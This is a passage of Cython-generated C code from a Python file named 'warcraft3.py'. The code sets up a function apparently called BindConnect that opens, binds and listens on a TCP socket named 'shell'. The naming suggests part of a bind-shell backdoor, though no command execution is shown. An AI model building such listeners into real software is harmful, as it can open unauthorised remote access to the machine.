__PYX_ERR(0, 16, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; __pyx_t_9 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_9 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_7, __pyx_t_8}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_7, __pyx_t_8}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_10 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 16, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_9, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_9, __pyx_t_8); __pyx_t_7 = 0; __pyx_t_8 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_10, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_shell = __pyx_t_4; __pyx_t_4 = 0; /* "warcraft3.py":17 * try: * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) * shell.bind((addr,port)) # <<<<<<<<<<<<<< * shell.listen(1) * except Exception as reason: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_bind); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 17, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_10 = PyTuple_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 17, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_INCREF(__pyx_v_addr); __Pyx_GIVEREF(__pyx_v_addr); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_v_addr); __Pyx_INCREF(__pyx_v_port); __Pyx_GIVEREF(__pyx_v_port); PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_v_port); __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_8) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 17, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_8); __pyx_t_8 = NULL; __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_10); __pyx_t_10 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "warcraft3.py":18 * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) * shell.bind((addr,port)) * shell.listen(1) # <<<<<<<<<<<<<< * except Exception as reason: * print ('[-] Failed to Create Socket : %s'%reason) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_listen); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 18, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 18, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "warcraft3.py":15 * def BindConnect(addr, port): * '''shell''' * try: # <<<<<<<<<<<<<< * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) * shell.bind((addr,port)) */ } __P